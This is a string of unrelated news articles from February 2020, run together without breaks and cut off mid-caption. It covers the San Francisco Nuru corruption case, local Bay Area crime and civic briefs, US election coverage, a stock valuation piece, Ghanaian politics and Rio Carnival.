Special to The Chronicle 2016 The revelation about Nuru and Zunigas relationship is another example of the coziness of the city family that critics have pointed to in the wake of the corruption allegations. Theyve held up the scandal as an example of a culture of cronyism in San Francisco government that rewards personal loyalties and helps cover up malfeasance. The Chronicle agreed not to name its sources, who are not permitted to discuss personnel matters, in accordance with its policy on the use of anonymous sources. Girlfriend 1 appears nine times in the 75-page criminal complaint against Nuru and San Francisco restaurateur Nick Bovis. Federal authorities charged Nuru and Bovis with fraud on Jan. 28 following a public corruption probe. The alleged schemes involved an envelope of cash, fraudulent city contracts, improper gifts from a Chinese developer and a $2,000 bottle of wine, according to authorities. Nuru resigned his city position on Feb. 10. Zuniga was not charged with any crime connected to the criminal complaint against Nuru and Bovis revealed by federal officials last month. The FBI declined a request for comment. Zuniga did not respond to multiple requests for comment. In her multiple roles, she worked closely with Public Works and Nuru, according to emails obtained by The Chronicle. Nuru and Bovis arrest last month, and the revelations that followed into their alleged schemes, has pitched City Hall into a widening public corruption scandal. The FBI considers its investigation into Nuru and Bovis alleged self-dealing ongoing. A separate investigation led by the city attorneys office and the Office of the Controller is probing potential misconduct and breaches of city laws. The FBI visited San Franciscos Department of Building Inspection, and the scandal also ensnared Mayor London Breed, a longtime friend and brief romantic partner of Nuru decades ago. She revealed last week that she had allowed Nuru to foot the bill for car repairs, and to pay for a rental car she used last year, an undisclosed gift totaling $5,600. Nuru and Zuniga traveled to South America in October 2018, a trip that federal officials believe was paid for by a building permits expediter affiliated with Nuru, according to the criminal complaint against Nuru. Nuru and Zuniga were also recorded discussing in detail a trip that Nuru allegedly took to China, paid for by a Chinese billionaire that federal officials believe Nuru was helping with a development project in San Francisco, according to the complaint. Federal officials allege that on one phone call intercepted by law enforcement agents, Nuru described the many gifts he received during this trip with Zuniga. Federal officials also alleged in their complaint that Girlfriend 1 booked a room at the Ritz-Carlton in Santiago, Chile, under her own name, and paid for the room in cash. The room was occupied by two people, federal officials said, and the other person is believed to be Nuru. The cost of their stay was valued at around $1,176. Federal investigators also recorded a February 2019 conversation between Nuru and Bovis in which Nuru mentioned that Zuniga was working to finish a project at Bovis restaurant, Lefty ODouls. San Francisco officials confirmed that Zuniga was placed on involuntary paid administrative leave on Feb. 11, but additional details were kept confidential because of rules governing personnel matters. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. In one telephone conversation intercepted by federal agents, Nuru and Zuniga discuss the need for Nuru to limit the number of people who knew about his Stonyford (Colusa County) vacation home. Federal officials have accused Nuru of accepting free or discounted building materials and a tractor at the vacation home. More Information Inside the newsroom Anonymous sources: Chronicle strives to attribute all information we report to credible, reliable, identifiable sources. Presenting information from an anonymous source occurs extremely rarely, and only when that information is considered crucially important and all other on-the-record options have been exhausted. In such cases, The Chronicle has complete knowledge of the unnamed person's identity and of how that person is in position to know the information. The Chronicle's detailed policy governing the use of such sources, including the use of pseudonyms, is available on SFChronicle.com. See More Collapse I just need to be careful ... I need to watch myself carefully, Nuru said. Yep, dont tell a lot of people. Thats what you really need to be careful of because thats whats gonna get you in the end, Zuniga replies, according to a transcript in the criminal complaint. Thats whats gonna get me in the end? Everything is legit. What are you talking about? Nuru asked. Well all these people are gonna start saying stuff and speculating and this and that. You dont need that headache. No, I dont, I dont need that headache, Nuru said. So you dont run your mouth. Thats what Im saying, she said. San Francisco Chronicle staff writer Anna Bauman contributed to this report. Dominic Fracassa is a San Francisco Chronicle staff writer. Email: dfracassa@sfchronicle.com Twitter: @dominicfracassa Lucy-Jo Hudson attends The British Soap Awards at The Lowry Theatre on June 3, 2017 in Manchester, England (Jeff Spicer/Getty Images) Former Coronation Street star Lucy-Jo Hudson has welcomed a baby boy with her partner Lewis Devine. The actress, who already has daughter Sienna with her ex Alan Halsall, shared her happy news on Instagram. Read more: Lucy-Jo Hudson expecting a baby We are so in love with our baby boy!!! she wrote, after revealing that she gave birth on February 18. Our family is now complete! Love you @lewisdevine. Screengrab from Lucy-Jo Hudson Instagram New dad Devine posted a message on his own Instagram Story, saying how proud he was of Hudson. Wow what an experience, he wrote. We are so happy to announce that our little bundle of joy has arrived safe and sound and we are all back home now and settling in great. Our Sienna is delighted and is already making the best big sister just like I knew she would. I am so proud of Lucy-Jo seeing her carry him for nine months and then bring him into the world the way she did it was just unbelievable and a memory and feeling that will last forever. Screengrab from Lewis Devine Instagram Love you all so much, he added. Hudson, 36, was married to fellow Corrie star Halsall from 2009 to 2018 and they welcomed Sienna in 2013. The actress, who is also known for her role in Hollyoaks, got together with Devine in 2018 after she and Halsall had split. Read more: Lucy-Jo Hudson breaks silence on Alan Halsall split She announced her pregnancy in August, writing on Instagram: We are 13 weeks pregnant and so very excited to extend our little family Sienna is so excited to be a big sister and Lew is ecstatic to become a daddy for the first time and I am so happy to be having another gorgeous baby! No other feeling like it xxx. WYOMING, MI -- More than two years after a car split in two in a crash that killed two people, the driver is charged with drunken driving causing death. Irsan Menkovic, 29, of Grand Rapids, is accused in the Nov. 5, 2017 crash on Clyde Park Avenue SW near 52nd Street. Wyoming police said a 2012 Volkswagen was headed south on Clyde Park Avenue about 3:50 a.m when it struck a curb. The driver lost control of the car and it then struck a fire hydrant and a tree and split in two. Two passengers in the back seat -- Ajdin Dzafic, 27, and Christopher Handley, 30, both of the Grand Rapids area -- were ejected and died at the scene. A front-seat passenger was treated at a local hospital for minor injuries and released. Menkovic also was ejected from the vehicle and was critically injured. According to a GoFundMe page established for Menkovic at the time, he was in a coma for an unknown period. Police identified alcohol and speed as factors in the crash when it happened. According to a probable cause affidavit filed in court, police conducted an extensive crash investigation that determined that Menkovic was the driver. Police also said the person identified as the front-seat passenger also confirmed that Menkovic was the driver. Tests showed that Menkovic had a blood-alcohol level of 0.165, more than twice the legal driving limit. Wyoming police Capt. James Maguffee said the time lag to bring charges in the case stemmed from multiple reasons. The surviving passenger lived overseas in Europe and DNA testing took considerable time. At a court hearing Wednesday, the attorney for Menkovic asked for a competency evaluation. The process is likely to delay the court process for a few months. More from MLive Driver accused of killing pedestrian arrested for drinking in Grand Haven bar The Continual Struggle of African Americans exhibit opens at presidential museum Metro Manila (CNN Philippines, February 21) The Philippines first ever business reality show is set to take the global stage soon. The Final Pitch which brings together entrepreneurs and big-time investorswill film for the first time a Southeast Asian edition of the reality television competition, host John Aguilar told CNN Philippines The Source. The Final Pitch ASEAN, while retaining the same format, will feature entrepreneurs and companies from the Philippines, Singapore, Indonesia, Thailand, Malaysia, and Vietnam. Aguilar said the international season plans to begin filming by the end of the year in Singapore. The minimum investment requirement will be $1 million. Aguilar said the show will invite representatives from each country to hear the contestants pitches. The entrepreneurs who will be pitching have businesses that are already ready to scale, Aguilar said. It's not a startup per se, it is a high-growth company that is maybe a market leader in their field, and is now going to be scaling across Southeast Asia. The Final Pitch, which first premiered in 2017, links together startups/entrepreneurs and multi-millionaire investors who are in search for the next big business idea. The local editions newest season is set to premiere on CNN Philippines on Sunday at 8:30 p.m. Season 5 will meanwhile put a spotlight on real estate and livable cities. Learn more about The Final Pitch here. The Quilting Bees of Chapel Lane Presbyterian Church were honored to present a Quilt of Valor to Tom Kindell. Kindell served with the 101st Airborne out of Fort Campbell, Kentucky from 2008 to 2012. His family was pleased to be there when he accepted the Quilt of Valor. He now works at the Midland Post Office. The Quilting Bees of Chapel Lane Presbyterian Church provided quilts to the National Organization (Quilts of Valor) for 15 years. Last fall they went to the post office to ship 10 quilts to Walter Reed Hospital. Kindell showed such pleasure that fellow veterans were being honored. It was obvious that he would be the next veteran to receive a QOV to in person. Veterans can request a QOV from Quilts of Valor.com. Donald Trump speaks during a campaign rally in Colorado Springs: AP Donald Trump has mocked Amy Klobuchar for her debate performance in Las Vegas, where she confronted Pete Buttigieg for suggesting that she had discredited herself by forgetting the name of the president of Mexico. Ms Klobuchar had responded to the mini-scandal by saying she had only momentarily forgotten president Andres Manuel Lopez Obrador's name, and then asked Mr Buttigieg if he thinks she is "dumb" when he said he "wouldn't liken this to trivia." Mr Trump jumped on the moment during a campaign rally in Colorado Springs on Thursday. "'Do you think I'm dumb'?'" he mocked, before continuing, "That was the end of her campaign in my book." Mr Trump also targeted billionaire Mike Bloomberg during the rally, saying he had a poor night when he joined the five other leading democrats on the stage that night. More follows... Representative Alexandria Ocasio-Cortez is planning to endorse an all-female group of progressive candidates to build the far left, with some of the challengers going against members already in the Democratic Party. Her endorsements of more than one dozen candidates from her new political action committee will include a progressive challenger to potentially unseat a Texas representative from her party. "I think my ambition right now is to be a little less lonely in Congress," she told the New York Times. Jessica Cisneros is seeking to oust Representative Henry Cueller of Texas in the House primary. Another woman attempting to unseat a current House Democrat is Marie Newman, who is running against Representative Daniel Lipinski of Illinois. Both have Ms Ocasio-Cortez' stamp of approval. Ms Ocasio-Cortez gained notoriety among the liberal left of the Democratic Party after her 2018 election victory when she defeated 20-year congressman Joe Crowley during the primary. She's now using her celebrity status within the far left to reshape the party to mirror similar progressive views. Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Show all 15 1 /15 Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez greets fellow lawmakers ahead of the State of the Union address Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez participates in an event with Democratic members of Congress EPA Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures The Democrat senator speaks during a news conference at the U.S. Capitol January 30, 2019 Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez and fellow Democrat Rashida Tlaib AP Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez at the Senate chamber to watch two votes on January 24, 2019 Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez arrives with Chellie Pingree at a House Democratic Caucus meeting Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez during Donald Trump's State of the Union address Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures New York State Assembly member Catalina Cruz with Ocasio-Cortez AFP/Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Nydia Velazquez talks with Alexandria Ocasio-Cortez Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez casts her vote for Nancy Pelosi as Speaker of the House EPA Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez poses with a campaign worker during a whistle stop in the Queens borough of New York Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez outside the US Capitol AFP/Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez after casting her ballot in the 2018 midterm general election at a polling site in New York EPA Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez looks on during a march organised by the Women's March Alliance in Manhattan Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio Cortez looks on at the Capitol in Washington, DC, on January 16, 2019 AFP/Getty The Democratic Party has faced problems defining what direction it wants to go in leading up to the 2020 election. This problem has become more and more apparent during the presidential primary, with democratic socialist Bernie Sanders, whom Ms Ocasio-Cortez supports, going up against moderates like Pete Buttigieg and former Vice President Joe Biden. Members of the party have expressed concerns over whether moving more left is a good move for the Democrats, specifically when beating Republicans like President Donald Trump come November. But Ms Ocasio-Cortez remains confident she wants to see more members similar to herself in Congress, leaving Democratic moderates worrying about their own seats. One of our primary goals is to reward political courage in Congress and also to help elect a progressive majority in the House of Representatives, Ms. Ocasio-Cortez told the newspaper. Theres kind of a dual nature to this: One is opening the door to newcomers, and the other is to reward members of Congress that are exhibiting very large amounts of political courage. Other candidates Ms Ocasio-Cortez' committee is endorsing includes Cristina Tzintzun Ramirez, who is running against Senate Democrats' endorsed candidate, MJ Hegar, to then take on Republican Senator John Cornyn in Texas. Teresa Fernandez in New Mexico, Samelys Lopez in New York, and Georgette Gomez in California are all running on open seats in Democratic districts and received backing from the freshman representative. Endorsements from the committee also include women who are aiming to challenge incumbent Republicans. Kara Eastman is challenging Republican Representative Don Bacon of Nebraska. So far Ms Ocasio-Cortez has refrained from endorsing any progressive candidates going up against prominent members of the Democratic Party who are facing primary challengers. The drive to help push the Democratic Party in a progressive direction comes as the representative faces challengers for her own seat in Congress. Currently 13 people from her party are attempting to run against Ms Ocasio-Cortez, and that doesn't include a number of Republican members. One notable candidate vying for her seat is former CNBC anchor Michelle Caruso-Cabrera. President Trump spread rumors this that he believed Ms Ocasio-Cortez could have different ambitions within in politics, predicting she would go for Senate minority leader Chuck Schumer's seat for New York. But Ms Ocasio-Cortez did not confirm her future plans within politics when speaking to the New York Times. Her drive, instead, was to elect more people to the House and Senate. Oakland Unified School District officials indicated Thursday that McClymonds High School will be closed at least into next week while Alameda County environmental health officials test for the presence of a carcinogen in the school's groundwater and air. District officials announced Thursday morning that the school at 2607 Myrtle St. would be closed for the rest of the week after the chemical compound trichloroethylene was found in the school's groundwater, with drinking water left unexposed. County environmental health officials first received a report with information on the chemical's presence in the school's groundwater in January, school district spokesman John Sasaki said. The county's Department of Environmental Health will test the school's air over the weekend for the chemical's presence and its concentration will determine the next steps and how soon the school can be reopened. If the closure extends to next week, Sasaki said a temporary location would be found to accommodate the school's faculty and roughly 350 students. The district is actively seeking an alternate location in the event it becomes necessary to continue school as scheduled. The good news is that the Martinez Police Department has filled almost all of its police officer and dispatcher vacancies, thanks in large measure to a half-cent sales tax approved by voters in November 2018. But those new officers need vehicles, radios, firearms and other tools of the law enforcement trade, and police Chief Manjit Sappal asked the Martinez City Council Wednesday night for a one-time "injection of capital" of nearly $450,000 to pay for that equipment. The passage of Measure X provided money for "quality of life and essential services" including public safety, maintaining open space and recreational programs and local homelessness issues. That money, Sappal told the Council, has helped his department replenish vacancies and retain officers, dispatchers and support staff. The Martinez Police Department has 34 of its 37 police officer positions filled, with full staffing expected later this year. Six of the department's eight dispatcher positions are also filled. Funding decisions such as this will be part of the city's normal budgeting process, which will pick up in earnest by early April. A 60-year-old man is in a hospital with minor injuries after a vehicle struck him on Ygnacio Valley Road in Walnut Creek early Thursday morning, a police lieutenant said. The collision was reported at 5:21 a.m. on westbound Ygnacio Valley at San Carlos Drive, Walnut Creek police Lt. Andy Brown said. A vehicle in the No. 3 westbound lane struck the man while he walked in the crosswalk on the east side of the intersection, Brown said. He was taken to nearby John Muir Medical Center to be treated for his injuries. The driver stopped at the scene and cooperated with investigators, according to Brown. The collision prompted delays for morning commuters on the thoroughfare, police said. The California Department of Fish and Wildlife announced Thursday that it humanely euthanized a mountain lion that was confirmed to have bitten a young girl Sunday at a park and nature preserve in Cupertino. CDFW officers and staff at the Rancho San Antonio County Park and Open Space Preserve searched for the mountain lion suspected in the attack for roughly three days before finding a mountain lion in a tree Wednesday afternoon. The female lion -- estimated at 2 to 4 years old and weighing roughly 60 to 70 pounds -- was sedated and CDFW officers sent a DNA sample to the agency's Wildlife Forensics Laboratory in Sacramento. The large cat was confirmed to have attacked the child and was humanely euthanized to maintain public safety. The unidentified 6-year-old girl suffered only minor injuries during the attack and is currently recovering, according to the CDFW. The girl's family members, who were with her when the animal attacked around 10 a.m. Sunday, were able to scare it away before it did any more harm. A former San Francisco jail inmate who had a romantic relationship with a sheriff's deputy has been sentenced in federal court to two years and six months in prison for illegal possession of her gun. Antoine Fowler, 34, was sentenced Tuesday by U.S. District Judge Richard Seeborg in San Francisco and ordered to self-surrender to begin serving his term on March 31. He pleaded guilty last year to a charge of being being an ex-felon in possession of a gun. Fowler and former Deputy April Myres had a relationship that began while he was in jail on a gun conviction and continued when he lived with her for two months after his release in January 2016, according to court documents. When the couple broke up after a fight, Fowler ended up with her Sheriff's Department-issued Glock pistol. Prosecutors contended in a sentencing brief that it is uncertain whether he obtained the gun by consent or theft, while defense attorney Kenneth Wine said Myres gave him the gun for his protection after telling him he was in danger of being targeted as an informant. Myres, 56, of San Francisco was separately convicted in a jury trial last year of wire and mail fraud in connection with insurance claims for items she said were stolen on March 24-25, 2016, the night of the couple's breakup. Several of items she claimed, including the gun, belonged to the Sheriff's Department. A trio of suspects allegedly brandishing firearms and attempted to carjack three different motorists within 30 minutes of each other in San Francisco's South of Market neighborhood early Thursday morning. The first carjacking attempt was reported at about 2:30 a.m. near the intersection of Harrison and Ninth streets. At about 2:35 a.m., another carjacking was reported in the 300 block of Harrison Street. Another was reported at the intersection of Mission Street and Duboce Avenue at about 3 a.m., according to Officer Robert Rueca. None of the victims had their vehicles taken, Rueca said, but the cases are believed to be related due to their timing and proximity to one another. According to Rueca, none of the victims appear to know each other and didn't know the suspects, who haven't been caught. Six people were hospitalized after two collisions in the same area of state Highway 17 in Los Gatos early Thursday morning, according to the Santa Clara County Fire Department. The California Highway Patrol said two separate collisions occurred around 1 a.m. on northbound Highway 17 near Lark Avenue and state Highway 85. Fire crews arrived to see a vehicle on fire with the driver lying in the roadway after a head-on collision with another vehicle that had been carrying four people. A second collision involving a motorcyclist also occurred in the area, with the motorcyclist down in the roadway, fire officials said. Crews extinguished the vehicle fire and took the six injured people to hospitals. Two victims had life-threatening injuries, while the other four are expected to survive, according to the fire department. The collisions prompted the closure of the highway until about 3 a.m., according to the CHP. San Mateo police detectives called on local residents Thursday to assist in identifying a person of interest seen in a photo with a woman who has been missing since the 1970s. Sherry Roach was first identified as missing on June 8, 1976, and detectives were recently given a picture of her standing with an unidentified man. Roach went missing at 17 years old in San Mateo but also had ties to Santa Rosa. At the time she went missing, Roach was described as a white female with some American Indian heritage, brown hair and blue eyes. She stood 5 feet, 5 inches and weighed 115 pounds, wore glasses and had crooked teeth. Detectives noted she may now have blonde hair. The man standing next to Roach in the photograph has a dark complexion and large black sideburns. He's also seen wearing a dark windbreaker jacket with a white zipper, a lighter-colored shirt and a black hat with a buckle around the brim. A federal judge on Thursday upheld most of San Francisco's Proposition F, a voter-approved law that set stronger rules for disclosure of donors to political campaign advertisements. U.S. District Judge Charles Breyer in San Francisco turned down most of a campaign committee's bid for a preliminary injunction blocking the measure, which the committee claimed violated its right of free speech. Breyer wrote that when applied to larger ads, the new rules serve "the important governmental interest in informing voters about who is paying for political advertising" and do not unduly burden free speech. But the judge issued a narrow preliminary injunction blocking the rules when applied to small printed ads less than 5 inches by 5 inches, and in radio and televisions ads of less than 30 seconds. In the case of the smaller ads, the judge said, the required disclosures would have consumed most of the time or space in the messages. The city had agreed to the narrow injunction. Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. Cape Town (South Africa) 21 February 2020 (SPS)- South African Minister of International Relations and Cooperation, Ms. Naledi Pandor, declared that her Government will continue to urge Morocco to act in honour of UN resolutions and the AU to ensure that struggle remains on its agenda, in her statement before South African Parliament last Tuesday in Cape Town. Speaking before South African Parliament on the occasion of the State of the Nation Address debate on Tuesday, Ms. Pandor presented the priorities of her Governement for this year, which will be characterized by South Africas Chairmanship of the African Union for the year 2020. Africa has been struggling to fully throw off the shackles of colonialism and enslavement for over four hundred years, time is fast running out and we as South Africa have to utilize the chairship to intensify efforts directed at succeeding in development and to build on the momentum set in motion by previous chairs of our union, Pandor said. While focusing on Africas key priorities, she added we will not desert our friends and the struggle for freedom in Palestine and in Saharawi. She further stated that South African will strive to address the root causes of conflicts such as poverty, inequality democracy deficits and the negative role played by foreign interests that benefit from instability in resource rich African countries. (SPS) 090/500/60 (SPS) U.S. officials have told Democratic presidential contender Bernie Sanders that Russia is trying to help his campaign, the Washington Post reported on Friday. Donald Trump and U.S. lawmakers have also been informed about the Russian assistance to Senator Sanders, said the Post, which cited unnamed people familiar with the matter. The form that the Russian assistance had taken was not clear, the paper added. Sanders, the Vermont senator, slammed the Russian president after news of the interference emerged, branding Vladimir Putin an 'autocratic thug' and a 'good friend' of Trump. U.S. officials have told Democratic presidential contender Bernie Sanders that Russia is trying to help his campaign, the Washington Post reported on Friday 'I don't care, frankly, who Putin wants to be president,' Sanders said. 'My message to Putin is clear: stay out of American elections, and as president I will make sure that you do.' He said that he was briefed about a month ago on the Russian interference. Sanders continued: 'Unlike Donald Trump, I do not consider Vladimir Putin a good friend. 'He is an autocratic thug who is attempting to destroy democracy and crush dissent in Russia.' He went on to condemn any form of interference in the American presidential election. 'Lets be clear, the Russians want to undermine American democracy by dividing us up and, unlike the current president, I stand firmly against their efforts, and any other foreign power that wants to interfere in our election,' he said. 'The intelligence community is telling us Russia is interfering in this campaign right now in 2020.' Earlier on Friday, Trump dismissed a report claiming his former acting Director of National Intelligence told Congress that Russia wanted him to win in November, claiming it was just another Democrat 'hoax'. 'Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa. Hoax number 7!' Trump lamented on Twitter Friday morning. The president's comments come after The New York Times published a report on Thursday claiming Acting DNI Joseph Maguire told Congress during a classified briefing that the Kremlin wanted to see Trump win reelection because it would be better for their interests. Maguire was recently ousted from his acting post and U.S. Ambassador to Germany Richard Grenell was appointed in his stead as Trump continues to search for a permanent director. Russian president Vladimir Putin was described as an 'an autocratic thug who is attempting to destroy democracy and crush dissent' by Sanders when he was told of the reports The committee members were briefed that Russia favors Trump and were told about its efforts to hack and attack election infrastructure and the Kremlin's continued attempts to use social media platforms in its campaign of distrust. Vladimir Putin's operatives want to both help Trump and create public doubts about the outcome of the election, the officials briefed lawmakers during the session about 'the integrity of our upcoming elections.' One lawmaker told the Daily Beast that the officials briefed them that: 'It continues with the same target, and the same purpose, and it's clear that they [the Russians] favor one candidate over the other. Trump was furious when he learned that Representative Adam Schiff had been briefed that intelligence officials believe Russia is trying to aid his re-election - and wrongly believed it was only the Democrat who had been briefed. Donald Trump said reports that an intelligence community aides warned Congress that Russia wants him to win reelection is a 'misinformation campaign' and another 'hoax' created by Democrats The president believed the information would be used against him, sources told the New York Times. Officials have said that Russian support for Sanders could be part of a wider plot to help Trump, according to the New York Times. Sanders may be considered by Putin to be less likely to beat Trump in the November election than other more moderate Democratic nominees. Russia dismissed claims it was meddling in the 2020 presidential race to help Trump win a second term. Meddling? A senior intelligence official told the House Intelligence Committee, which is headed by Trump's impeachment rival Adam Schiff, that Vladimir Putin's Russia is interfering in the 2020 election to secure a second term for Donald Trump Kremlin spokesman Dmitry Peskov made the denial at a press conference today where he labeled the claims 'paranoid announcements'. 'Unfortunately, there will be more and more of [them] as we get closer to the elections,' he said in Moscow. 'Of course, they have nothing to do with the truth.' Pennsylvania Real Estate Investment Trust (NYSE:PEI), which is in the reits business, and is based in United States, received a lot of attention from a substantial price movement on the NYSE over the last few months, increasing to US$5.96 at one point, and dropping to the lows of US$3.39. Some share price movements can give investors a better opportunity to enter into the stock, and potentially buy at a lower price. A question to answer is whether Pennsylvania Real Estate Investment Trust's current trading price of US$3.60 reflective of the actual value of the small-cap? Or is it currently undervalued, providing us with the opportunity to buy? Lets take a look at Pennsylvania Real Estate Investment Trusts outlook and value based on the most recent financial data to see if there are any catalysts for a price change. Check out our latest analysis for Pennsylvania Real Estate Investment Trust Is Pennsylvania Real Estate Investment Trust still cheap? The stock seems fairly valued at the moment according to my valuation model. Its trading around 5.0% below my intrinsic value, which means if you buy Pennsylvania Real Estate Investment Trust today, youd be paying a reasonable price for it. And if you believe that the stock is really worth $3.79, then theres not much of an upside to gain from mispricing. Is there another opportunity to buy low in the future? Since Pennsylvania Real Estate Investment Trusts share price is quite volatile, we could potentially see it sink lower (or rise higher) in the future, giving us another chance to buy. This is based on its high beta, which is a good indicator for how much the stock moves relative to the rest of the market. What kind of growth will Pennsylvania Real Estate Investment Trust generate? NYSE:PEI Past and Future Earnings, February 21st 2020 Future outlook is an important aspect when youre looking at buying a stock, especially if you are an investor looking for growth in your portfolio. Buying a great company with a robust outlook at a cheap price is always a good investment, so lets also take a look at the company's future expectations. Pennsylvania Real Estate Investment Trusts earnings over the next few years are expected to increase by 51%, indicating a highly optimistic future ahead. This should lead to more robust cash flows, feeding into a higher share value. Story continues What this means for you: Are you a shareholder? It seems like the market has already priced in PEIs positive outlook, with shares trading around its fair value. However, there are also other important factors which we havent considered today, such as the track record of its management team. Have these factors changed since the last time you looked at the stock? Will you have enough confidence to invest in the company should the price drop below its fair value? Are you a potential investor? If youve been keeping tabs on PEI, now may not be the most advantageous time to buy, given it is trading around its fair value. However, the positive outlook is encouraging for the company, which means its worth further examining other factors such as the strength of its balance sheet, in order to take advantage of the next price drop. Price is just the tip of the iceberg. Dig deeper into what truly matters the fundamentals before you make a decision on Pennsylvania Real Estate Investment Trust. You can find everything you need to know about Pennsylvania Real Estate Investment Trust in the latest infographic research report. If you are no longer interested in Pennsylvania Real Estate Investment Trust, you can use our free platform to see my list of over 50 other stocks with a high growth potential. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Pointe-Noire, Congo (PANA) - The US embassy Thursday in Brazzaville gave the Congolese national public health laboratory reagents to help diagnose the coronavirus, Congolese Minister of Health and Populations Jacqueline Lydia Mikolo told the state-run radio Hon. Thomas Forkuo has affirmed his commitment to helping the New Patriotic Party (NPP) in Ahafo Ano North constituency to regain its glory and as well retaining the seat in election 2020. The constituency which is currently represented by Hon. Sanid Sulemana was won under close circumstances and is yearning of great hope and unity. Hon. Thomas Forkuo who is currently Assembly man for the TEPA WEST Electoral Area (the Florida of Ahafo Ano North) holds a first degree in Political Science from the University of Ghana and an LLB. It is worth to note that as the New Patriotic Party celebrates 20 years of the existence of TESCON. Hon. Forkuo is a past President at the University of Ghana Branch when the NPP was in Opposition. The incumbent who is faced with stiff opposition from polling station executives, electoral area coordinators, Traditional rulers, Market women, teachers etc. for a myriad of issue is also contesting and seeking re-election. The complains range from the incumbents inability to voice out and represent the people as desired. The seat which was closely won from the NDC , as the NDC approached the 2016 elections in a division that saw Mr. Bright Oppong (Independent ) gunner 2,617 Votes and Mr. Daniel Kyei (PPP) 879 votes break away from the core NDC votes. It is well to note that the NPP is duly honored to have the young and vibrant person in Hon. Thomas Forkuo who has well acceptance with all the critical stakeholders in the constituency due to his involvement in developmental initiatives in the community. Hon. Thomas Forkuo has outline three key areas as points of focus for him, namely reward for hardworking party members, provision of social amenities in the area of health infrastructure, education facilities, water provision among others and the last being economic empowerment for the youth who are mostly un employed. It is the prayer of all well wishes that the 25th April primaries would begin the journey to lifting the changes on constituents and affording the great opportunity for the future. It is fair to note that Hon. Forkuo was frustrated at the constituency level from the picking of nominations stage to the filling which saw the constituency Chairman fleeing from post and going into hiding. With the support of the teaming youth the form was well received by the Regional secretariat in Kumasi. Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Rio Carnival is one of the biggest, boldest and brightest events in the Brazilian calendar. This year marks the first time in six years Brazilian footballer Neymar da Silva Santos Junior will miss the festivities in Rio de Janeiro, Brazil. Neymar made the announcement on his Instagram Story, stating: With immense happiness, I announce that I am out of the 2020 Carnaval. That is it. This time there will be no controversy. Thanks. Happy Carnaval! So when is Rio Carnival, what is it celebrating, and how can you get involved? Heres everything you need to know. When is Rio Carnival? The Carnival is an annual event that always begins on the Friday before Ash Wednesday. This year, that date is 21 February. It spans the following few days, finishing on Ash Wednesday (26 February), the day Lent begins. Where is Rio Carnival? Events take place in Rio de Janeiro, Brazils most cosmopolitan city. All the main samba competitions between rival dance schools and parades take place in the Sambadrome a purpose-built parade area created for the Carnival. After the official events, the party spills out onto the streets in every corner of the city. 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Rio Carnival 2020 AFP via Getty Images Best pictures from Rio Carnival 2020 A reveller glistens in costume at the 'Ceu na Terra', or Heaven on Earth street party in Rio de Janeiro AP Best pictures from Rio Carnival 2020 Revellers participate in the Bloco Ceu na Terra street carnival celebration in the Santa Teresa neighborhood Getty Images Best pictures from Rio Carnival 2020 People dance at the 'Ceu na Terra' street party AP Best pictures from Rio Carnival 2020 A view of the 'Ceu na Terra' street party AP Best pictures from Rio Carnival 2020 A woman wears a green ensemble and embellished hat, adorned with tassels at the front AP Best pictures from Rio Carnival 2020 A woman waves a tambourine at the 'Ceu na Terra' street party AP Best pictures from Rio Carnival 2020 People participate in 'Blocao', or dog carnival parade, during carnival festivities REUTERS Best pictures from Rio Carnival 2020 Individuals are seen dressed as angels and devils during carnival celebrations AP Best pictures from Rio Carnival 2020 Partygoers were in high spirits at the 'Ceu na Terra', or Heaven on Earth, street party AP Best pictures from Rio Carnival 2020 A man dresses as Pinocchio among the crowds AP Best pictures from Rio Carnival 2020 A woman looks down, providing a view of her multicoloured eyelashes AP Best pictures from Rio Carnival 2020 Revellers celebrate in the carnival atmosphere at the 'Ceu na Terra' street party AP Best pictures from Rio Carnival 2020 Celebrations at the Bloco Ceu na Terra street party were full of colour Getty Images Best pictures from Rio Carnival 2020 A woman wearing a floral headdress smiles as she leans against a railing Getty Images Best pictures from Rio Carnival 2020 A man leaning on a railing holds a watering can that has the word 'Amor' painted on the side Getty Images Best pictures from Rio Carnival 2020 A poodle is photographed by its owner at the 'Blocao', or dog carnival parade REUTERS Best pictures from Rio Carnival 2020 A cap-wearing dog rests in its carrier REUTERS Best pictures from Rio Carnival 2020 A carnival reveller stands alongside a dog who is wearing a feathered headdress and festive necklace REUTERS Best pictures from Rio Carnival 2020 A man revels in the festivities at the 'Ceu na Terra' street party AP Best pictures from Rio Carnival 2020 An individual at the 'Ceu na 